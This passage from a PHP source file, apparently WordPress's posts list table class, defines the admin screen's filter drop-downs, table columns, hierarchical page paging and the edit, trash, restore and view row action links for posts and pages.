				$actions['edit'] = __( 'Edit' );
			}
		}

		if ( current_user_can( $post_type_obj->cap->delete_posts ) ) {
			if ( $this->is_trash || ! EMPTY_TRASH_DAYS ) {
				$actions['delete'] = __( 'Delete permanently' );
			} else {
				$actions['trash'] = __( 'Move to Trash' );
			}
		}

		return $actions;
	}

	/**
	 * Displays a categories drop-down for filtering on the Posts list table.
	 *
	 * @since 4.6.0
	 *
	 * @global int $cat Currently selected category.
	 *
	 * @param string $post_type Post type slug.
	 */
	protected function categories_dropdown( $post_type ) {
		global $cat;

		/**
		 * Filters whether to remove the 'Categories' drop-down from the post list table.
		 *
		 * @since 4.6.0
		 *
		 * @param bool   $disable   Whether to disable the categories drop-down. Default false.
		 * @param string $post_type Post type slug.
		 */
		if ( false !== apply_filters( 'disable_categories_dropdown', false, $post_type ) ) {
			return;
		}

		if ( is_object_in_taxonomy( $post_type, 'category' ) ) {
			$dropdown_options = array(
				'show_option_all' => get_taxonomy( 'category' )->labels->all_items,
				'hide_empty'      => 0,
				'hierarchical'    => 1,
				'show_count'      => 0,
				'orderby'         => 'name',
				'selected'        => $cat,
			);

			echo '<label class="screen-reader-text" for="cat">' . get_taxonomy( 'category' )->labels->filter_by_item . '</label>';

			wp_dropdown_categories( $dropdown_options );
		}
	}

	/**
	 * Displays a formats drop-down for filtering items.
	 *
	 * @since 5.2.0
	 * @access protected
	 *
	 * @param string $post_type Post type slug.
	 */
	protected function formats_dropdown( $post_type ) {
		/**
		 * Filters whether to remove the 'Formats' drop-down from the post list table.
		 *
		 * @since 5.2.0
		 * @since 5.5.0 The `$post_type` parameter was added.
		 *
		 * @param bool   $disable   Whether to disable the drop-down. Default false.
		 * @param string $post_type Post type slug.
		 */
		if ( apply_filters( 'disable_formats_dropdown', false, $post_type ) ) {
			return;
		}

		// Return if the post type doesn't have post formats or if we're in the Trash.
		if ( ! is_object_in_taxonomy( $post_type, 'post_format' ) || $this->is_trash ) {
			return;
		}

		// Make sure the dropdown shows only formats with a post count greater than 0.
		$used_post_formats = get_terms(
			array(
				'taxonomy'   => 'post_format',
				'hide_empty' => true,
			)
		);

		// Return if there are no posts using formats.
		if ( ! $used_post_formats ) {
			return;
		}

		$displayed_post_format = isset( $_GET['post_format'] ) ? $_GET['post_format'] : '';
		?>
		<label for="filter-by-format" class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Filter by post format' );
			?>
		</label>
		<select name="post_format" id="filter-by-format">
			<option<?php selected( $displayed_post_format, '' ); ?> value=""><?php _e( 'All formats' ); ?></option>
			<?php
			foreach ( $used_post_formats as $used_post_format ) {
				// Post format slug.
				$slug = str_replace( 'post-format-', '', $used_post_format->slug );
				// Pretty, translated version of the post format slug.
				$pretty_name = get_post_format_string( $slug );

				// Skip the standard post format.
				if ( 'standard' === $slug ) {
					continue;
				}
				?>
				<option<?php selected( $displayed_post_format, $slug ); ?> value="<?php echo esc_attr( $slug ); ?>"><?php echo esc_html( $pretty_name ); ?></option>
				<?php
			}
			?>
		</select>
		<?php
	}

	/**
	 * @param string $which
	 */
	protected function extra_tablenav( $which ) {
		?>
		<div class="alignleft actions">
		<?php
		if ( 'top' === $which ) {
			ob_start();

			$this->months_dropdown( $this->screen->post_type );
			$this->categories_dropdown( $this->screen->post_type );
			$this->formats_dropdown( $this->screen->post_type );

			/**
			 * Fires before the Filter button on the Posts and Pages list tables.
			 *
			 * The Filter button allows sorting by date and/or category on the
			 * Posts list table, and sorting by date on the Pages list table.
			 *
			 * @since 2.1.0
			 * @since 4.4.0 The `$post_type` parameter was added.
			 * @since 4.6.0 The `$which` parameter was added.
			 *
			 * @param string $post_type The post type slug.
			 * @param string $which     The location of the extra table nav markup:
			 *                          'top' or 'bottom' for WP_Posts_List_Table,
			 *                          'bar' for WP_Media_List_Table.
			 */
			do_action( 'restrict_manage_posts', $this->screen->post_type, $which );

			$output = ob_get_clean();

			if ( ! empty( $output ) ) {
				echo $output;
				submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'post-query-submit' ) );
			}
		}

		if ( $this->is_trash && $this->has_items()
			&& current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_others_posts )
		) {
			submit_button( __( 'Empty Trash' ), 'apply', 'delete_all', false );
		}
		?>
		</div>
		<?php
		/**
		 * Fires immediately following the closing "actions" div in the tablenav for the posts
		 * list table.
		 *
		 * @since 4.4.0
		 *
		 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
		 */
		do_action( 'manage_posts_extra_tablenav', $which );
	}

	/**
	 * @return string
	 */
	public function current_action() {
		if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) ) {
			return 'delete_all';
		}

		return parent::current_action();
	}

	/**
	 * @global string $mode List table view mode.
	 *
	 * @return array
	 */
	protected function get_table_classes() {
		global $mode;

		$mode_class = esc_attr( 'table-view-' . $mode );

		return array(
			'widefat',
			'fixed',
			'striped',
			$mode_class,
			is_post_type_hierarchical( $this->screen->post_type ) ? 'pages' : 'posts',
		);
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		$post_type = $this->screen->post_type;

		$posts_columns = array();

		$posts_columns['cb'] = '<input type="checkbox" />';

		/* translators: Posts screen column name. */
		$posts_columns['title'] = _x( 'Title', 'column name' );

		if ( post_type_supports( $post_type, 'author' ) ) {
			$posts_columns['author'] = __( 'Author' );
		}

		$taxonomies = get_object_taxonomies( $post_type, 'objects' );
		$taxonomies = wp_filter_object_list( $taxonomies, array( 'show_admin_column' => true ), 'and', 'name' );

		/**
		 * Filters the taxonomy columns in the Posts list table.
		 *
		 * The dynamic portion of the hook name, `$post_type`, refers to the post
		 * type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `manage_taxonomies_for_post_columns`
		 *  - `manage_taxonomies_for_page_columns`
		 *
		 * @since 3.5.0
		 *
		 * @param string[] $taxonomies Array of taxonomy names to show columns for.
		 * @param string   $post_type  The post type.
		 */
		$taxonomies = apply_filters( "manage_taxonomies_for_{$post_type}_columns", $taxonomies, $post_type );
		$taxonomies = array_filter( $taxonomies, 'taxonomy_exists' );

		foreach ( $taxonomies as $taxonomy ) {
			if ( 'category' === $taxonomy ) {
				$column_key = 'categories';
			} elseif ( 'post_tag' === $taxonomy ) {
				$column_key = 'tags';
			} else {
				$column_key = 'taxonomy-' . $taxonomy;
			}

			$posts_columns[ $column_key ] = get_taxonomy( $taxonomy )->labels->name;
		}

		$post_status = ! empty( $_REQUEST['post_status'] ) ? $_REQUEST['post_status'] : 'all';

		if ( post_type_supports( $post_type, 'comments' )
			&& ! in_array( $post_status, array( 'pending', 'draft', 'future' ), true )
		) {
			$posts_columns['comments'] = sprintf(
				'<span class="vers comment-grey-bubble" title="%1$s" aria-hidden="true"></span><span class="screen-reader-text">%2$s</span>',
				esc_attr__( 'Comments' ),
				/* translators: Hidden accessibility text. */
				__( 'Comments' )
			);
		}

		$posts_columns['date'] = __( 'Date' );

		if ( 'page' === $post_type ) {

			/**
			 * Filters the columns displayed in the Pages list table.
			 *
			 * @since 2.5.0
			 *
			 * @param string[] $post_columns An associative array of column headings.
			 */
			$posts_columns = apply_filters( 'manage_pages_columns', $posts_columns );
		} else {

			/**
			 * Filters the columns displayed in the Posts list table.
			 *
			 * @since 1.5.0
			 *
			 * @param string[] $post_columns An associative array of column headings.
			 * @param string   $post_type    The post type slug.
			 */
			$posts_columns = apply_filters( 'manage_posts_columns', $posts_columns, $post_type );
		}

		/**
		 * Filters the columns displayed in the Posts list table for a specific post type.
		 *
		 * The dynamic portion of the hook name, `$post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `manage_post_posts_columns`
		 *  - `manage_page_posts_columns`
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $post_columns An associative array of column headings.
		 */
		return apply_filters( "manage_{$post_type}_posts_columns", $posts_columns );
	}

	/**
	 * @return array
	 */
	protected function get_sortable_columns() {

		$post_type = $this->screen->post_type;

		if ( 'page' === $post_type ) {
			if ( isset( $_GET['orderby'] ) ) {
				$title_orderby_text = __( 'Table ordered by Title.' );
			} else {
				$title_orderby_text = __( 'Table ordered by Hierarchical Menu Order and Title.' );
			}

			$sortables = array(
				'title'    => array( 'title', false, __( 'Title' ), $title_orderby_text, 'asc' ),
				'parent'   => array( 'parent', false ),
				'comments' => array( 'comment_count', false, __( 'Comments' ), __( 'Table ordered by Comments.' ) ),
				'date'     => array( 'date', true, __( 'Date' ), __( 'Table ordered by Date.' ) ),
			);
		} else {
			$sortables = array(
				'title'    => array( 'title', false, __( 'Title' ), __( 'Table ordered by Title.' ) ),
				'parent'   => array( 'parent', false ),
				'comments' => array( 'comment_count', false, __( 'Comments' ), __( 'Table ordered by Comments.' ) ),
				'date'     => array( 'date', true, __( 'Date' ), __( 'Table ordered by Date.' ), 'desc' ),
			);
		}
		// Custom Post Types: there's a filter for that, see get_column_info().

		return $sortables;
	}

	/**
	 * @global WP_Query $wp_query WordPress Query object.
	 * @global int $per_page
	 * @param array $posts
	 * @param int   $level
	 */
	public function display_rows( $posts = array(), $level = 0 ) {
		global $wp_query, $per_page;

		if ( empty( $posts ) ) {
			$posts = $wp_query->posts;
		}

		add_filter( 'the_title', 'esc_html' );

		if ( $this->hierarchical_display ) {
			$this->_display_rows_hierarchical( $posts, $this->get_pagenum(), $per_page );
		} else {
			$this->_display_rows( $posts, $level );
		}
	}

	/**
	 * @param array $posts
	 * @param int   $level
	 */
	private function _display_rows( $posts, $level = 0 ) {
		$post_type = $this->screen->post_type;

		// Create array of post IDs.
		$post_ids = array();

		foreach ( $posts as $a_post ) {
			$post_ids[] = $a_post->ID;
		}

		if ( post_type_supports( $post_type, 'comments' ) ) {
			$this->comment_pending_count = get_pending_comments_num( $post_ids );
		}
		update_post_author_caches( $posts );

		foreach ( $posts as $post ) {
			$this->single_row( $post, $level );
		}
	}

	/**
	 * @global wpdb    $wpdb WordPress database abstraction object.
	 * @global WP_Post $post Global post object.
	 * @param array $pages
	 * @param int   $pagenum
	 * @param int   $per_page
	 */
	private function _display_rows_hierarchical( $pages, $pagenum = 1, $per_page = 20 ) {
		global $wpdb;

		$level = 0;

		if ( ! $pages ) {
			$pages = get_pages( array( 'sort_column' => 'menu_order' ) );

			if ( ! $pages ) {
				return;
			}
		}

		/*
		 * Arrange pages into two parts: top level pages and children_pages.
		 * children_pages is two dimensional array. Example:
		 * children_pages[10][] contains all sub-pages whose parent is 10.
		 * It only takes O( N ) to arrange this and it takes O( 1 ) for subsequent lookup operations
		 * If searching, ignore hierarchy and treat everything as top level
		 */
		if ( empty( $_REQUEST['s'] ) ) {
			$top_level_pages = array();
			$children_pages  = array();

			foreach ( $pages as $page ) {
				// Catch and repair bad pages.
				if ( $page->post_parent === $page->ID ) {
					$page->post_parent = 0;
					$wpdb->update( $wpdb->posts, array( 'post_parent' => 0 ), array( 'ID' => $page->ID ) );
					clean_post_cache( $page );
				}

				if ( $page->post_parent > 0 ) {
					$children_pages[ $page->post_parent ][] = $page;
				} else {
					$top_level_pages[] = $page;
				}
			}

			$pages = &$top_level_pages;
		}

		$count      = 0;
		$start      = ( $pagenum - 1 ) * $per_page;
		$end        = $start + $per_page;
		$to_display = array();

		foreach ( $pages as $page ) {
			if ( $count >= $end ) {
				break;
			}

			if ( $count >= $start ) {
				$to_display[ $page->ID ] = $level;
			}

			++$count;

			if ( isset( $children_pages ) ) {
				$this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page, $to_display );
			}
		}

		// If it is the last pagenum and there are orphaned pages, display them with paging as well.
		if ( isset( $children_pages ) && $count < $end ) {
			foreach ( $children_pages as $orphans ) {
				foreach ( $orphans as $op ) {
					if ( $count >= $end ) {
						break;
					}

					if ( $count >= $start ) {
						$to_display[ $op->ID ] = 0;
					}

					++$count;
				}
			}
		}

		$ids = array_keys( $to_display );
		_prime_post_caches( $ids );
		$_posts = array_map( 'get_post', $ids );
		update_post_author_caches( $_posts );

		if ( ! isset( $GLOBALS['post'] ) ) {
			$GLOBALS['post'] = reset( $ids );
		}

		foreach ( $to_display as $page_id => $level ) {
			echo "\t";
			$this->single_row( $page_id, $level );
		}
	}

	/**
	 * Displays the nested hierarchy of sub-pages together with paging
	 * support, based on a top level page ID.
	 *
	 * @since 3.1.0 (Standalone function exists since 2.6.0)
	 * @since 4.2.0 Added the `$to_display` parameter.
	 *
	 * @param array $children_pages
	 * @param int   $count
	 * @param int   $parent_page
	 * @param int   $level
	 * @param int   $pagenum
	 * @param int   $per_page
	 * @param array $to_display List of pages to be displayed. Passed by reference.
	 */
	private function _page_rows( &$children_pages, &$count, $parent_page, $level, $pagenum, $per_page, &$to_display ) {
		if ( ! isset( $children_pages[ $parent_page ] ) ) {
			return;
		}

		$start = ( $pagenum - 1 ) * $per_page;
		$end   = $start + $per_page;

		foreach ( $children_pages[ $parent_page ] as $page ) {
			if ( $count >= $end ) {
				break;
			}

			// If the page starts in a subtree, print the parents.
			if ( $count === $start && $page->post_parent > 0 ) {
				$my_parents = array();
				$my_parent  = $page->post_parent;

				while ( $my_parent ) {
					// Get the ID from the list or the attribute if my_parent is an object.
					$parent_id = $my_parent;

					if ( is_object( $my_parent ) ) {
						$parent_id = $my_parent->ID;
					}

					$my_parent    = get_post( $parent_id );
					$my_parents[] = $my_parent;

					if ( ! $my_parent->post_parent ) {
						break;
					}

					$my_parent = $my_parent->post_parent;
				}

				$num_parents = count( $my_parents );

				while ( $my_parent = array_pop( $my_parents ) ) {
					$to_display[ $my_parent->ID ] = $level - $num_parents;
					--$num_parents;
				}
			}

			if ( $count >= $start ) {
				$to_display[ $page->ID ] = $level;
			}

			++$count;

			$this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page, $to_display );
		}

		unset( $children_pages[ $parent_page ] ); // Required in order to keep track of orphans.
	}

	/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post $item The current WP_Post object.
	 */
	public function column_cb( $item ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$show = current_user_can( 'edit_post', $post->ID );

		/**
		 * Filters whether to show the bulk edit checkbox for a post in its list table.
		 *
		 * By default the checkbox is only shown if the current user can edit the post.
		 *
		 * @since 5.7.0
		 *
		 * @param bool    $show Whether to show the checkbox.
		 * @param WP_Post $post The current WP_Post object.
		 */
		if ( apply_filters( 'wp_list_table_show_post_checkbox', $show, $post ) ) :
			?>
			<input id="cb-select-<?php the_ID(); ?>" type="checkbox" name="post[]" value="<?php the_ID(); ?>" />
			<label for="cb-select-<?php the_ID(); ?>">
				<span class="screen-reader-text">
				<?php
					/* translators: %s: Post title. */
					printf( __( 'Select %s' ), _draft_or_post_title() );
				?>
				</span>
			</label>
			<div class="locked-indicator">
				<span class="locked-indicator-icon" aria-hidden="true"></span>
				<span class="screen-reader-text">
				<?php
				printf(
					/* translators: Hidden accessibility text. %s: Post title. */
					__( '&#8220;%s&#8221; is locked' ),
					_draft_or_post_title()
				);
				?>
				</span>
			</div>
			<?php
		endif;
	}

	/**
	 * @since 4.3.0
	 *
	 * @param WP_Post $post
	 * @param string  $classes
	 * @param string  $data
	 * @param string  $primary
	 */
	protected function _column_title( $post, $classes, $data, $primary ) {
		echo '<td class="' . $classes . ' page-title" ', $data, '>';
		echo $this->column_title( $post );
		echo $this->handle_row_actions( $post, 'title', $primary );
		echo '</td>';
	}

	/**
	 * Handles the title column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $mode List table view mode.
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_title( $post ) {
		global $mode;

		if ( $this->hierarchical_display ) {
			if ( 0 === $this->current_level && (int) $post->post_parent > 0 ) {
				// Sent level 0 by accident, by default, or because we don't know the actual level.
				$find_main_page = (int) $post->post_parent;

				while ( $find_main_page > 0 ) {
					$parent = get_post( $find_main_page );

					if ( is_null( $parent ) ) {
						break;
					}

					++$this->current_level;
					$find_main_page = (int) $parent->post_parent;

					if ( ! isset( $parent_name ) ) {
						/** This filter is documented in wp-includes/post-template.php */
						$parent_name = apply_filters( 'the_title', $parent->post_title, $parent->ID );
					}
				}
			}
		}

		$can_edit_post = current_user_can( 'edit_post', $post->ID );

		if ( $can_edit_post && 'trash' !== $post->post_status ) {
			$lock_holder = wp_check_post_lock( $post->ID );

			if ( $lock_holder ) {
				$lock_holder   = get_userdata( $lock_holder );
				$locked_avatar = get_avatar( $lock_holder->ID, 18 );
				/* translators: %s: User's display name. */
				$locked_text = esc_html( sprintf( __( '%s is currently editing' ), $lock_holder->display_name ) );
			} else {
				$locked_avatar = '';
				$locked_text   = '';
			}

			echo '<div class="locked-info"><span class="locked-avatar">' . $locked_avatar . '</span> <span class="locked-text">' . $locked_text . "</span></div>\n";
		}

		$pad = str_repeat( '&#8212; ', $this->current_level );
		echo '<strong>';

		$title = _draft_or_post_title();

		if ( $can_edit_post && 'trash' !== $post->post_status ) {
			printf(
				'<a class="row-title" href="%s" aria-label="%s">%s%s</a>',
				get_edit_post_link( $post->ID ),
				/* translators: %s: Post title. */
				esc_attr( sprintf( __( '&#8220;%s&#8221; (Edit)' ), $title ) ),
				$pad,
				$title
			);
		} else {
			printf(
				'<span>%s%s</span>',
				$pad,
				$title
			);
		}
		_post_states( $post );

		if ( isset( $parent_name ) ) {
			$post_type_object = get_post_type_object( $post->post_type );
			echo ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html( $parent_name );
		}

		echo "</strong>\n";

		if ( 'excerpt' === $mode
			&& ! is_post_type_hierarchical( $this->screen->post_type )
			&& current_user_can( 'read_post', $post->ID )
		) {
			if ( post_password_required( $post ) ) {
				echo '<span class="protected-post-excerpt">' . esc_html( get_the_excerpt() ) . '</span>';
			} else {
				echo esc_html( get_the_excerpt() );
			}
		}

		/** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */
		$quick_edit_enabled = apply_filters( 'quick_edit_enabled_for_post_type', true, $post->post_type );

		if ( $quick_edit_enabled ) {
			get_inline_data( $post );
		}
	}

	/**
	 * Handles the post date column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $mode List table view mode.
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_date( $post ) {
		global $mode;

		if ( '0000-00-00 00:00:00' === $post->post_date ) {
			$t_time    = __( 'Unpublished' );
			$time_diff = 0;
		} else {
			$t_time = sprintf(
				/* translators: 1: Post date, 2: Post time. */
				__( '%1$s at %2$s' ),
				/* translators: Post date format. See https://www.php.net/manual/datetime.format.php */
				get_the_time( __( 'Y/m/d' ), $post ),
				/* translators: Post time format. See https://www.php.net/manual/datetime.format.php */
				get_the_time( __( 'g:i a' ), $post )
			);

			$time      = get_post_timestamp( $post );
			$time_diff = time() - $time;
		}

		if ( 'publish' === $post->post_status ) {
			$status = __( 'Published' );
		} elseif ( 'future' === $post->post_status ) {
			if ( $time_diff > 0 ) {
				$status = '<strong class="error-message">' . __( 'Missed schedule' ) . '</strong>';
			} else {
				$status = __( 'Scheduled' );
			}
		} else {
			$status = __( 'Last Modified' );
		}

		/**
		 * Filters the status text of the post.
		 *
		 * @since 4.8.0
		 *
		 * @param string  $status      The status text.
		 * @param WP_Post $post        Post object.
		 * @param string  $column_name The column name.
		 * @param string  $mode        The list display mode ('excerpt' or 'list').
		 */
		$status = apply_filters( 'post_date_column_status', $status, $post, 'date', $mode );

		if ( $status ) {
			echo $status . '<br />';
		}

		/**
		 * Filters the published, scheduled, or unpublished time of the post.
		 *
		 * @since 2.5.1
		 * @since 5.5.0 Removed the difference between 'excerpt' and 'list' modes.
		 *              The published time and date are both displayed now,
		 *              which is equivalent to the previous 'excerpt' mode.
		 *
		 * @param string  $t_time      The published time.
		 * @param WP_Post $post        Post object.
		 * @param string  $column_name The column name.
		 * @param string  $mode        The list display mode ('excerpt' or 'list').
		 */
		echo apply_filters( 'post_date_column_time', $t_time, $post, 'date', $mode );
	}

	/**
	 * Handles the comments column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_comments( $post ) {
		?>
		<div class="post-com-count-wrapper">
		<?php
			$pending_comments = isset( $this->comment_pending_count[ $post->ID ] ) ? $this->comment_pending_count[ $post->ID ] : 0;

			$this->comments_bubble( $post->ID, $pending_comments );
		?>
		</div>
		<?php
	}

	/**
	 * Handles the post author column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_author( $post ) {
		$args = array(
			'post_type' => $post->post_type,
			'author'    => get_the_author_meta( 'ID' ),
		);
		echo $this->get_edit_link( $args, get_the_author() );
	}

	/**
	 * Handles the default column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post $item        The current WP_Post object.
	 * @param string  $column_name The current column name.
	 */
	public function column_default( $item, $column_name ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		if ( 'categories' === $column_name ) {
			$taxonomy = 'category';
		} elseif ( 'tags' === $column_name ) {
			$taxonomy = 'post_tag';
		} elseif ( str_starts_with( $column_name, 'taxonomy-' ) ) {
			$taxonomy = substr( $column_name, 9 );
		} else {
			$taxonomy = false;
		}

		if ( $taxonomy ) {
			$taxonomy_object = get_taxonomy( $taxonomy );
			$terms           = get_the_terms( $post->ID, $taxonomy );

			if ( is_array( $terms ) ) {
				$term_links = array();

				foreach ( $terms as $t ) {
					$posts_in_term_qv = array();

					if ( 'post' !== $post->post_type ) {
						$posts_in_term_qv['post_type'] = $post->post_type;
					}

					if ( $taxonomy_object->query_var ) {
						$posts_in_term_qv[ $taxonomy_object->query_var ] = $t->slug;
					} else {
						$posts_in_term_qv['taxonomy'] = $taxonomy;
						$posts_in_term_qv['term']     = $t->slug;
					}

					$label = esc_html( sanitize_term_field( 'name', $t->name, $t->term_id, $taxonomy, 'display' ) );

					$term_links[] = $this->get_edit_link( $posts_in_term_qv, $label );
				}

				/**
				 * Filters the links in `$taxonomy` column of edit.php.
				 *
				 * @since 5.2.0
				 *
				 * @param string[]  $term_links Array of term editing links.
				 * @param string    $taxonomy   Taxonomy name.
				 * @param WP_Term[] $terms      Array of term objects appearing in the post row.
				 */
				$term_links = apply_filters( 'post_column_taxonomy_links', $term_links, $taxonomy, $terms );

				echo implode( wp_get_list_item_separator(), $term_links );
			} else {
				echo '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' . $taxonomy_object->labels->no_terms . '</span>';
			}
			return;
		}

		if ( is_post_type_hierarchical( $post->post_type ) ) {

			/**
			 * Fires in each custom column on the Posts list table.
			 *
			 * This hook only fires if the current post type is hierarchical,
			 * such as pages.
			 *
			 * @since 2.5.0
			 *
			 * @param string $column_name The name of the column to display.
			 * @param int    $post_id     The current post ID.
			 */
			do_action( 'manage_pages_custom_column', $column_name, $post->ID );
		} else {

			/**
			 * Fires in each custom column in the Posts list table.
			 *
			 * This hook only fires if the current post type is non-hierarchical,
			 * such as posts.
			 *
			 * @since 1.5.0
			 *
			 * @param string $column_name The name of the column to display.
			 * @param int    $post_id     The current post ID.
			 */
			do_action( 'manage_posts_custom_column', $column_name, $post->ID );
		}

		/**
		 * Fires for each custom column of a specific post type in the Posts list table.
		 *
		 * The dynamic portion of the hook name, `$post->post_type`, refers to the post type.
		 *
		 * Possible hook names include:
		 *
		 *  - `manage_post_posts_custom_column`
		 *  - `manage_page_posts_custom_column`
		 *
		 * @since 3.1.0
		 *
		 * @param string $column_name The name of the column to display.
		 * @param int    $post_id     The current post ID.
		 */
		do_action( "manage_{$post->post_type}_posts_custom_column", $column_name, $post->ID );
	}

	/**
	 * @global WP_Post $post Global post object.
	 *
	 * @param int|WP_Post $post
	 * @param int         $level
	 */
	public function single_row( $post, $level = 0 ) {
		$global_post = get_post();

		$post                = get_post( $post );
		$this->current_level = $level;

		$GLOBALS['post'] = $post;
		setup_postdata( $post );

		$classes = 'iedit author-' . ( get_current_user_id() === (int) $post->post_author ? 'self' : 'other' );

		$lock_holder = wp_check_post_lock( $post->ID );

		if ( $lock_holder ) {
			$classes .= ' wp-locked';
		}

		if ( $post->post_parent ) {
			$count    = count( get_post_ancestors( $post->ID ) );
			$classes .= ' level-' . $count;
		} else {
			$classes .= ' level-0';
		}
		?>
		<tr id="post-<?php echo $post->ID; ?>" class="<?php echo implode( ' ', get_post_class( $classes, $post->ID ) ); ?>">
			<?php $this->single_row_columns( $post ); ?>
		</tr>
		<?php
		$GLOBALS['post'] = $global_post;
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'title'.
	 */
	protected function get_default_primary_column_name() {
		return 'title';
	}

	/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post $item        Post being acted upon.
	 * @param string  $column_name Current column name.
	 * @param string  $primary     Primary column name.
	 * @return string Row actions output for posts, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $item, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return '';
		}

		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$post_type_object = get_post_type_object( $post->post_type );
		$can_edit_post    = current_user_can( 'edit_post', $post->ID );
		$actions          = array();
		$title            = _draft_or_post_title();

		if ( $can_edit_post && 'trash' !== $post->post_status ) {
			$actions['edit'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				get_edit_post_link( $post->ID ),
				/* translators: %s: Post title. */
				esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $title ) ),
				__( 'Edit' )
			);

			/**
			 * Filters whether Quick Edit should be enabled for the given post type.
			 *
			 * @since 6.4.0
			 *
			 * @param bool   $enable    Whether to enable the Quick Edit functionality. Default true.
			 * @param string $post_type Post type name.
			 */
			$quick_edit_enabled = apply_filters( 'quick_edit_enabled_for_post_type', true, $post->post_type );

			if ( $quick_edit_enabled && 'wp_block' !== $post->post_type ) {
				$actions['inline hide-if-no-js'] = sprintf(
					'<button type="button" class="button-link editinline" aria-label="%s" aria-expanded="false">%s</button>',
					/* translators: %s: Post title. */
					esc_attr( sprintf( __( 'Quick edit &#8220;%s&#8221; inline' ), $title ) ),
					__( 'Quick&nbsp;Edit' )
				);
			}
		}

		if ( current_user_can( 'delete_post', $post->ID ) ) {
			if ( 'trash' === $post->post_status ) {
				$actions['untrash'] = sprintf(
					'<a href="%s" aria-label="%s">%s</a>',
					wp_nonce_url( admin_url( sprintf( $post_type_object->_edit_link . '&amp;action=untrash', $post->ID ) ), 'untrash-post_' . $post->ID ),
					/* translators: %s: Post title. */
					esc_attr( sprintf( __( 'Restore &#8220;%s&#8221; from the Trash' ), $title ) ),
					__( 'Restore' )
				);
			} elseif ( EMPTY_TRASH_DAYS ) {
				$actions['trash'] = sprintf(
					'<a href="%s" class="submitdelete" aria-label="%s">%s</a>',
					get_delete_post_link( $post->ID ),
					/* translators: %s: Post title. */
					esc_attr( sprintf( __( 'Move &#8220;%s&#8221; to the Trash' ), $title ) ),
					_x( 'Trash', 'verb' )
				);
			}

			if ( 'trash' === $post->post_status || ! EMPTY_TRASH_DAYS ) {
				$actions['delete'] = sprintf(
					'<a href="%s" class="submitdelete" aria-label="%s">%s</a>',
					get_delete_post_link( $post->ID, '', true ),
					/* translators: %s: Post title. */
					esc_attr( sprintf( __( 'Delete &#8220;%s&#8221; permanently' ), $title ) ),
					__( 'Delete Permanently' )
				);
			}
		}

		if ( is_post_type_viewable( $post_type_object ) ) {
			if ( in_array( $post->post_status, array( 'pending', 'draft', 'future' ), true ) ) {
				if ( $can_edit_post ) {
					$preview_link    = get_preview_post_link( $post );
					$actions['view'] = sprintf(
						'<a href="%s" rel="bookmark" aria-label="%s">%s</a>',
						esc_url( $preview_link ),
						/* translators: %s: Post title. */
						esc_attr( sprintf( __( 'Preview &#8220;%s&#8221;' ), $title ) ),
						__( 'Preview' )
					);
				}
			} elseif ( 'trash' !== $post->post_status ) {
				$actions['view'] = sprintf(
					'<a href="%s" rel="bookmark" aria-label="%s">%s</a>',
					get_permalink( $post->ID ),
					/* translators: %s: Post title. */
					esc_attr( sprintf( __( 'View &#8220;%s&#8221;' ), $title ) ),
					__( 'View' )
				);
			}
		}

		if ( 'wp_block' === $post->post_type ) {
			$actions['export'] = sprintf(
				'<button type="button" class="wp-list-reusable-blocks__export button-link" data-id="%s" aria-label="%s">%s</button>',
				$post->ID,
				/* translators: %s: Post title. */
				esc_attr( sprintf( __( 'Export &#8220;%s&#8221; as JSON' ), $title ) ),
				__( 'Export as JSON' )
			);
		}

		if ( is_post_type_hierarchical( $post->post_type ) ) {

			/**
			 * Filters the array of row action links on the Pages list table.
			 *
			 * The filter is evaluated only for hierarchical post types.
			 *
			 * @since 2.8.0
			 *
			 * @param string[] $actions An array of row action links. Defaults are
			 *                          'Edit', 'Quick Edit', 'Restore', 'Trash',
			 *                          'Delete Permanently', 'Preview', and 'View'.
			 * @param WP_Post  $post    The post object.
			 */
			$actions = apply_filters( 'page_row_actions', $actions, $post );
		} else {

			/**
			 * Filters the array of row action links on the Posts list table.
			 *
			 * The filter is evaluated only for non-hierarchical post types.
			 *
			 * @since 2.8.0
			 *
			 * @param string[] $actions An array of row action links. Defaults are
			 *                          'Edit', 'Quick Edit', 'Restore', 'Trash',
			 *                          'Delete Permanently', 'Preview', and 'View'.
			 * @param WP_Post  $post    The post object.
			 */
			$actions = apply_filters( 'post_row_actions', $actions, $post );
		}

		return $this->row_actions( $actions );
	}

